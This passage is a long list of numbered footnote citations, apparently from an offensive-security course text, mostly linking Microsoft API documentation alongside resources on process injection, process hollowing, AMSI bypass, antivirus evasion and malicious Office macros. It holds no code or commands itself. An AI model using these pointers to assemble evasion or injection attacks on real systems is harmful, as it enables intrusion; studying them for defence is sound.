  114. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/lbound-function↩︎

  115. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread↩︎

  116. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=netframework-4.8↩︎

  117. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6↩︎

  118. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.dllimportattribute?view=netframework-4.8↩︎

  119. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke↩︎

  120. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system?view=netframework-4.8↩︎

  121. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices?view=netframework-4.8↩︎

  122. (Microsoft, 2015), https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/using-directive↩︎

  123. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type?view=powershell-5.1↩︎

  124. (Microsoft, 2015), https://devblogs.microsoft.com/scripting/powertip-use-here-strings-with-powershell/↩︎

  125. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.copy?view=netframework-4.8↩︎↩︎

  126. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject↩︎

  127. (Microsoft, 2015), https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/reflection↩︎↩︎

  128. (Microsoft, 2017), https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe↩︎

  129. (Microsoft, 2017), https://docs.microsoft.com/en-us/sysinternals/downloads/procmon↩︎

  130. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.getassemblies?view=netframework-4.8↩︎

  131. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.currentdomain?view=netframework-4.8↩︎

  132. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8↩︎

  133. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/sort-object?view=powershell-6↩︎

  134. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea↩︎

  135. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress↩︎

  136. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/foreach-object?view=powershell-6↩︎

  137. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.gettypes?view=netframework-4.8↩︎↩︎

  138. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-6↩︎

  139. (Microsoft, 2015), https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/unsafe↩︎

  140. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-member?view=powershell-6↩︎

  141. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object?view=powershell-6↩︎

  142. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/api/microsoft.visualbasic.information.typename?view=netframework-4.8↩︎

  143. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.location?view=netframework-4.8↩︎

  144. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.gettype?view=netframework-4.8↩︎↩︎

  145. (Exploit Monday, 2012), http://www.exploit-monday.com/2012_05_13_archive.html↩︎

  146. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.globalassemblycache?view=netframework-4.8↩︎

  147. (Microsoft, 2017), https://docs.microsoft.com/en-us/dotnet/framework/app-domains/gac↩︎

  148. (Microsoft, 2014), https://devblogs.microsoft.com/scripting/using-the-split-method-in-powershell/↩︎

  149. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.typeinfo.getmethod?view=netstandard-1.6↩︎

  150. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.powershell.invoke?view=pscore-6.2.0#System_Management_Automation_PowerShell_Invoke↩︎↩︎

  151. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.type.getmethods?view=netframework-4.8↩︎

  152. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8↩︎

  153. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/com/delegation-and-impersonation↩︎↩︎

  154. (Microsoft, 2004), https://blogs.msdn.microsoft.com/joelpob/2004/02/15/creating-delegate-types-via-reflection-emit/↩︎

  155. (Exploit Monday, 2012), http://www.exploit-monday.com/2012_05_13_archive.html↩︎

  156. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assemblyname?view=netframework-4.8↩︎

  157. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.assemblybuilder.definedynamicassembly?view=netframework-4.8↩︎

  158. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.assemblybuilderaccess?view=netframework-4.8↩︎

  159. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.assemblybuilder.definedynamicmodule?view=netframework-4.8↩︎

  160. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.modulebuilder.definetype?view=netframework-4.8#System_Reflection_Emit_ModuleBuilder_DefineType_System_String_System_Reflection_TypeAttributes_↩︎

  161. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.typeattributes?view=netframework-4.8↩︎

  162. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.multicastdelegate?view=netframework-4.8↩︎

  163. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.typebuilder.defineconstructor?view=netframework-4.8↩︎

  164. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodattributes?view=netframework-4.8↩︎

  165. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.callingconventions?view=netframework-4.8↩︎

  166. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.constructorbuilder.setimplementationflags?view=netframework-4.8↩︎

  167. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodimplattributes?view=netframework-4.8↩︎

  168. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.typebuilder.definemethod?view=netframework-4.8↩︎

  169. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodattributes?view=netframework-4.8↩︎

  170. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.typebuilder.createtype?view=netframework-4.8↩︎

  171. (Rapid7, 2011), https://blog.rapid7.com/2011/06/29/meterpreter-httphttps-communication/↩︎

  172. (Windows OS Hub, 2017), http://woshub.com/using-powershell-behind-a-proxy/↩︎

  173. (Squid, 2013), http://www.squid-cache.org/↩︎

  174. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.net.webrequest.defaultwebproxy?view=netframework-4.8↩︎

  175. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.net.webproxy.getproxy?view=netframework-4.8↩︎

  176. (Microsoft, 2019), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent↩︎

  177. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.headers?view=netframework-4.8↩︎

  178. (Mantvydas Baranauskas, 2019), https://ired.team/offensive-security/lateral-movement/lateral-movement-with-psexec↩︎↩︎

  179. (Microsoft, 2017), https://support.microsoft.com/en-us/help/819961/how-to-configure-client-proxy-server-settings-by-using-a-registry-file↩︎

  180. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Security_Identifier↩︎↩︎

  181. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-6↩︎

  182. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids↩︎

  183. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem?view=powershell-6↩︎

  184. (Microsoft, 2017), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_break?view=powershell-6↩︎

  185. (Microsoft, 2019), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-itemproperty?view=powershell-6↩︎

  186. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/api/system.net.webproxy?view=netframework-4.8↩︎

  187. (Sophos, 2020), https://docs.sophos.com/central/Customer/help/en-us/central/Customer/tasks/ConfigureAppControl.html↩︎↩︎

  188. (Wikipedia, 2019), https://en.wikipedia.org/wiki/JScript↩︎

  189. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wscript↩︎

  190. (Bromium, 2019), https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/↩︎

  191. (Security Soup, 2019), https://security-soup.net/a-quick-look-at-emotets-updated-javascript-dropper/↩︎

  192. (Wikipedia, 2019), https://en.wikipedia.org/wiki/ECMAScript↩︎

  193. (Wikipedia, 2019), https://en.wikipedia.org/wiki/ActiveX↩︎

  194. (Mozilla, 2019), https://developer.mozilla.org/en-US/docs/Archive/Web/JavaScript/Microsoft_Extensions/ActiveXObject↩︎

  195. (Wikipedia, 2019), https://en.wikipedia.org/wiki/MSXML↩︎

  196. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms767625%28v%3dvs.85%29↩︎

  197. (Mozilla, 2019), https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/200↩︎

  198. (W3Schools, 2019), https://www.w3schools.com/asp/ado_ref_stream.asp↩︎

  199. (W3Schools, 2019), https://www.w3schools.com/asp/met_stream_open.asp↩︎

  200. (W3Schools, 2019), https://www.w3schools.com/asp/prop_stream_type.asp↩︎

  201. (W3Schools, 2019), https://www.w3schools.com/asp/met_stream_write.asp↩︎

  202. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms753682%28v%3dvs.85%29↩︎

  203. (W3Schools, 2019), https://www.w3schools.com/asp/prop_stream_position.asp↩︎

  204. (W3Schools, 2019), https://www.w3schools.com/asp/met_stream_savetofile.asp↩︎

  205. (W3Schools, 2019), https://www.w3schools.com/asp/met_stream_close.asp↩︎

  206. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms760236%28v%3dvs.85%29↩︎

  207. (Microsoft, 2019), https://visualstudio.microsoft.com/↩︎

  208. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Integrated_development_environment↩︎

  209. (Mono, 2019), https://www.mono-project.com/docs/about-mono/languages/csharp/↩︎

  210. (Samba, 2019), https://www.samba.org/↩︎

  211. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.console.writeline?view=netframework-4.8↩︎

  212. (Microsoft, 2018), https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-set-debug-and-release-configurations?view=vs-2019↩︎

  213. (James Forshaw, 2018), https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html↩︎↩︎

  214. (James Forshaw, 2018), https://github.com/tyranid/DotNetToJScript↩︎

  215. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.messagebox.show?view=netframework-4.8↩︎

  216. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter?view=netframework-4.8↩︎

  217. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter.deserialize?view=netframework-4.8↩︎

  218. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.delegate.dynamicinvoke?view=netframework-4.8↩︎

  219. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=netframework-4.8#System_Reflection_Assembly_CreateInstance_System_String_↩︎

  220. (Pinvoke, 2019), http://pinvoke.net/default.aspx/user32/MessageBox.htm↩︎

  221. (MDSec's ActiveBreach Team, 2019), https://github.com/mdsecactivebreach/SharpShooter↩︎↩︎

  222. (W3Schools, 2019), https://www.w3schools.com/python/python_pip.asp↩︎

  223. (MDSec, 2018), https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/↩︎

  224. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?redirectedfrom=MSDN&view=netframework-4.8#System_Reflection_Assembly_Load_System_Byte___↩︎↩︎

  225. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddata?view=netframework-4.8↩︎

  226. (Microsoft, 2013), https://docs.microsoft.com/en-us/previous-versions/ms536495(v%3Dvs.85)↩︎↩︎

  227. (Demiguise, 2017), https://github.com/nccgroup/demiguise/blob/master/Readme.md↩︎

  228. (IronPython, 2018), https://ironpython.net/↩︎

  229. (SilentTrinity, 2019), https://github.com/byt3bl33d3r/SILENTTRINITY↩︎

  230. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Java_applet↩︎

  231. (Wikipedia, 2019), https://en.wikipedia.org/wiki/JAR_(file_format)↩︎

  232. (Fortinet, 2018), https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html↩︎

  233. (Baeldung, 2019), https://www.baeldung.com/java-nashorn↩︎

  234. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess↩︎

  235. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex↩︎

  236. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory↩︎

  237. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread↩︎

  238. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights↩︎

  239. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptors↩︎

  240. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control↩︎↩︎

  241. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess↩︎

  242. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/procthread/process-security-and-access-rights↩︎

  243. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex↩︎

  244. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory↩︎

  245. (Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/out-parameter-modifier↩︎

  246. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread↩︎

  247. (OpenWireSec, 2013), https://github.com/OpenWireSec/metasploit/blob/master/external/source/meterpreter/source/common/arch/win/i386/base_inject.c↩︎

  248. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.getprocessesbyname?view=netframework-4.8↩︎↩︎

  249. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya↩︎↩︎

  250. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya↩︎

  251. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain↩︎

  252. (Stephen Fewer, 2013), https://github.com/stephenfewer/ReflectiveDLLInjection↩︎

  253. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Portable_Executable↩︎↩︎

  254. (PowerShellMafia, 2016), https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1↩︎

  255. (Arno0x, 2017), https://github.com/Arno0x/CSharpScripts/blob/master/peloader.cs↩︎

  256. (Mitre, 2019), https://attack.mitre.org/techniques/T1093/↩︎

  257. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags↩︎

  258. (Man7.org, 2020), https://man7.org/linux/man-pages/man1/cp.1.html↩︎↩︎

  259. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Win32_Thread_Information_Block↩︎

  260. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Process_Environment_Block↩︎

  261. (Wikipedia, 2019), https://en.wikipedia.org/wiki/Address_space_layout_randomization↩︎

  262. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess↩︎

  263. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory↩︎

  264. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=netframework-4.8↩︎

  265. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw↩︎

  266. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa↩︎↩︎

  267. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information↩︎↩︎

  268. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess↩︎

  269. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines↩︎

  270. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory↩︎

  271. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.bitconverter.toint64?view=netframework-4.8↩︎

  272. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/api/system.uint32?view=netframework-4.8↩︎

  273. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread↩︎

  274. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread↩︎

  275. (M0n0ph1, 2018), https://github.com/m0n0ph1/Process-Hollowing↩︎

  276. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Virtual_console↩︎↩︎↩︎

  277. (antiscan.me, 2018), https://antiscan.me/↩︎

  278. (SecurityFocus, 2010), https://www.securityfocus.com/archive/1/426771↩︎

  279. (Chris Campbell, 2012), http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html↩︎

  280. (Offensive Security, 2020), https://www.offensive-security.com/metasploit-unleashed/msfvenom/↩︎

  281. (Daniel Sauder, 2015), https://danielsauder.com/2015/08/26/an-analysis-of-shikata-ga-nai/↩︎

  282. (Nick Hoffman, Jeremy Humble, Toby Taylor, 2019), https://www.boozallen.com/c/insight/blog/the-zutto-dekiru-encoder-explained.html↩︎

  283. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Advanced_Encryption_Standard↩︎

  284. (Rapid7, 2018), https://blog.rapid7.com/2018/05/03/hiding-metasploit-shellcode-to-evade-windows-defender/↩︎

  285. (Practical Cryptography, 2020), http://practicalcryptography.com/ciphers/caesar-cipher/↩︎

  286. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.text.stringbuilder?view=netframework-4.8↩︎

  287. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.text.stringbuilder.appendformat?view=netframework-4.8↩︎

  288. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/standard/base-types/composite-formatting↩︎

  289. (Wikipedia, 2020), https://en.wikipedia.org/wiki/XOR_cipher↩︎↩︎

  290. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.threading.thread.sleep?view=netframework-4.8↩︎↩︎

  291. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.datetime?view=netframework-4.8↩︎

  292. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.datetime.now?view=netframework-4.8↩︎

  293. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.datetime.subtract?view=netframework-4.8↩︎

  294. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.timespan.totalseconds?view=netframework-4.8↩︎

  295. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocexnuma↩︎

  296. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/procthread/numa-support↩︎

  297. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex↩︎

  298. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocexnuma↩︎

  299. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess↩︎

  300. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/fibersapi/nf-fibersapi-flsalloc↩︎

  301. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/now-function↩︎

  302. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/date-function↩︎

  303. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/datediff-function↩︎

  304. (Carrie Roberts, 2019), https://github.com/clr2of8/Presentations/blob/master/DerbyCon2018-VBAstomp-Final-WalmartRedact.pdf↩︎

  305. (Microsoft, 2020), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b↩︎

  306. (Inv Softworks LLC, 2020), http://www.flexhex.com/↩︎

  307. (Microsoft, 2020), https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239↩︎

  308. (Microsoft, 2020), https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/c66b58a6-f8ba-4141-9382-0612abce9926↩︎

  309. (Stan Hegt, 2019), https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/↩︎

  310. (Mantvydas Baranauskas, 2018), https://ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement↩︎↩︎

  311. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/getobject-function↩︎

  312. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/wmisdk/winmgmt↩︎

  313. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/wmisdk/provider-hosting-and-security↩︎

  314. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-providers↩︎

  315. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/cimwin32prov/win32-process↩︎

  316. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/cimwin32prov/win32-provider↩︎

  317. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/cimwin32prov/create-method-in-class-win32-process↩︎

  318. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Obfuscation_(software)↩︎

  319. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/strreverse-function↩︎

  320. (CodeBeautify, 2020), https://codebeautify.org/reverse-string↩︎

  321. (Carrie Roberts, 2019), https://github.com/clr2of8/Presentations/blob/master/DerbyCon2018-VBAstomp-Final-WalmartRedact.pdf↩︎

  322. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.string.tochararray?view=netframework-4.8↩︎

  323. (SS64, 2020), https://ss64.com/ps/foreach-object.html↩︎

  324. (Dr Scripto, 2014), https://devblogs.microsoft.com/scripting/powertip-send-output-to-clipboard-with-powershell/↩︎

  325. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/right-function↩︎

  326. (Stefan Bühlmann, 2017), https://github.com/joesecurity/pafishmacro/blob/master/code.vba↩︎

  327. (Microsoft, 2018), https://docs.microsoft.com/en-us/office/vba/api/word.document.name↩︎

  328. (Petr Nejedly, 2017), https://www.exploit-db.com/exploits/41959↩︎

  329. (Lital Asher-Dotan, 2017), https://www.cybereason.com/blog/what-is-endpoint-detection-and-response-edr↩︎

  330. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal↩︎

  331. (Microsoft, 2020), https://www.microsoft.com/en-us/windows/comprehensive-security↩︎

  332. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools↩︎

  333. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Stack-based_memory_allocation↩︎

  334. (Wikipedia, 2020), https://en.wikipedia.org/wiki/C_dynamic_memory_allocation#Heap-based↩︎

  335. (Félix Cloutier, 2019), https://www.felixcloutier.com/x86/call↩︎

  336. (Félix Cloutier, 2019), https://www.felixcloutier.com/x86/ret↩︎

  337. (Microsoft, 2018), https://docs.microsoft.com/en-us/cpp/cpp/stdcall?view=vs-2019↩︎

  338. (Microsoft, 2018), https://docs.microsoft.com/en-us/cpp/cpp/fastcall?view=vs-2019↩︎

  339. (Félix Cloutier, 2019), https://www.felixcloutier.com/x86/cmp↩︎

  340. (Félix Cloutier, 2019), https://www.felixcloutier.com/x86/test↩︎

  341. (Intel Pentium Instruction Set Reference), http://faydoc.tripod.com/cpu/je.htm↩︎

  342. (Immunity, 2020), https://www.immunityinc.com/products/debugger/↩︎

  343. (Microsoft, 2017), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/methods-of-controlling-breakpoints↩︎

  344. (Microsoft, 2018), https://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx↩︎

  345. (Lee Holmes, 2019), https://twitter.com/Lee_Holmes/status/1189215159765667842/photo/1↩︎

  346. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps↩︎

  347. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page↩︎

  348. (Microsoft, 2019), https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions↩︎

  349. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize↩︎

  350. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession↩︎

  351. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring↩︎

  352. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer↩︎

  353. (Microsoft, 2018), https://docs.microsoft.com/en-gb/windows/win32/api/amsi/ne-amsi-amsi_result↩︎

  354. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiclosesession↩︎

  355. (Frida.re), https://www.frida.re/↩︎

  356. (Frida.re), https://www.frida.re/docs/javascript-api/#memory↩︎

  357. (Mozilla, 2020), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this↩︎

  358. (Microsoft, 2020), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/6b46e050-0761-44b1-858b-9b37a74ca32e#gt_799103ab-b3cb-4eab-8c55-322821b2b235↩︎

  359. (Microsoft, 2020), https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/705fb797-2175-4a90-b5a3-3918024b10b8↩︎

  360. (Microsoft, 2018), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_ref?view=powershell-6↩︎

  361. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.type.getfields?view=netframework-4.8↩︎

  362. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.copy?view=netframework-4.8↩︎

  363. (Matt Graeber, 2016), https://twitter.com/mattifestation/status/735261176745988096?lang=en↩︎

  364. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Zero_flag↩︎

  365. (Intel Pentium Instruction Set Reference), http://faydoc.tripod.com/cpu/je.htm↩︎

  366. (Intel Pentium Instruction Set Reference), http://faydoc.tripod.com/cpu/xor.htm↩︎

  367. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea↩︎

  368. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress↩︎

  369. (Wikipedia, 2020), https://en.wikipedia.org/wiki/Page_(computer_memory)↩︎

  370. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants↩︎

